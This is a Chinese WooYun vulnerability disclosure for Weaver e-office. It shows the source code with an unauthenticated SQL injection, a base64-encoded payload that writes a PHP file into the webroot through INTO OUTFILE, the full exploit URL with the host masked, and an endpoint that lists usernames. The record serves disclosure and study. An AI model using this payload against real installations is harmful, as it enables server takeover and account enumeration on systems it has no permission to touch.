当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(26) 关注此漏洞

缺陷编号: WooYun-2015-128007

漏洞标题: 泛微eoffice前台getshell+一处小问题(无需登录)

相关厂商: 泛微eoffice

漏洞作者: 牛肉包子

提交时间: 2015-07-23 11:39

公开时间: 2015-10-22 16:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-23: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开

简要描述:

rt

详细说明:

看到

inc/group_user_list/group_xml.php

code 区域
session_start( );
include_once( "inc/conn.php" );
include_once( "inc/xtree_xml.inc.php" );
include_once( "inc/utility_all.php" );
header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );
header( "Cache-Control: no-cache, must-revalidate" );
header( "Pragma: no-cache" );
header( "Content-Type: text/xml" );
$pararr = explodestpar( $_REQUEST['par'] );
$groupid = $pararr['groupid'];
if ( $groupid == "" )
{
exit( );
}
$groupurl_fix = "?";
$userurl_fix = "?";
if ( 0 < strpos( $pararr['group_url'], "?" ) )
{
$groupurl_fix = "&";
}
if ( 0 < strpos( $pararr['user_url'], "?" ) )
{
$userurl_fix = "&";
}
$xtreeXml = new xtreeXml( );
$xtreeXml->initXml( );
if ( $pararr['group'] == 1 )
{
$sql = "SELECT * FROM pub_group WHERE GROUP_ID=".$groupid."";
}
else
{
$sql = "SELECT * FROM USER,USER_GROUP WHERE USER_GROUP.GROUP_ID=".$groupid."";
}
$rs = exequery( $connection, $sql );
$row = mysql_fetch_array( $rs );
$groupmember = $row['GROUP_MEMBER'];





$groupid没有被双引号包裹,然后造成注入。然后$groupid来自于$pararr['groupid'];其中经过了$explodestpar这个函数



code 区域
function explodeStPar( $enpar )

{

$depar = base64_decode( $enpar );

$arrpar = explode( "|", $depar );

if ( !is_array( $arrpar ) )

{

return false;

}

$i = 0;

for ( ; $i < sizeof( $arrpar ); ++$i )

{

$strpar = $arrpar[$i];

$tmparr = explode( ":", $strpar );

$j = 0;

for ( ; $j < sizeof( $tmparr ); ++$j )

{

if ( $j == 0 )

{

preg_match( "/\\[([a-z0-9-_].+)\\]/i", $tmparr[$j], $exp );

$par = $exp[1];

}

else

{

preg_match( "/\\[(.*)\\]/i", $tmparr[$j], $exp );

$val = $exp[1];

}

}

if ( trim( $par ) != "" )

{

$rearr[$par] = $val;

}

}

return $rearr;

}



在这里经过了base64_decode 所以不受GPC影响,而且泛微安装完成之后mysql是root,可以直接写文件。这样就可以完美的getshell了。



首先我们要构造如何的数据

code 区域
[group]:[1]|[groupid]:[1']



然后base64_encode一下。

code 区域
W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxJ10=



QQ截图20150721003448.png



可以看到php报错了。

然后我们构造写shell的语句。要注意的是sql语句里面不能含有:号。



然后我们构造如下exp

code 区域
[group]:[1]|[groupid]:[1 union select '<?php phpinfo()?>',2,3,4,5,6,7,8 into outfile '../webroot/axxxxxxxx.php']





base64一下

code 区域
W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgcGhwaW5mbygpPz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L2F4eHh4eHh4eC5waHAnXQ==







小问题 可以遍历所有用户名

code 区域
http://**.**.**.**:8028/UserSelect/main.php#



QQ截图20150721004112.png

漏洞证明:

然后访问

code 区域
http://**.**.**.**:8028/inc/group_user_list/group_xml.php?par=W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgcGhwaW5mbygpPz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L2F4eHh4eHh4eC5waHAnXQ==





成功生成shell



code 区域
http://**.**.**.**:8028/axxxxxxxx.php





QQ截图20150721003748.png

修复方案:

0.0

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-24 16:14

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-07-21 11:43 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    1

    说好的带我飞呢

  2. 2015-07-21 13:38 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    mark

  3. 2015-09-11 17:15 | 康小泡 ( 路人 | Rank:0 漏洞数:1 | 掉个offer给我吧)
    0

    说好的带我飞呢

  4. 2015-09-12 08:58 | 小红猪 ( 普通白帽子 | Rank:322 漏洞数:58 | little red pig!)
    0

    说好的带我飞呢

登录后才能发表评论,请先 登录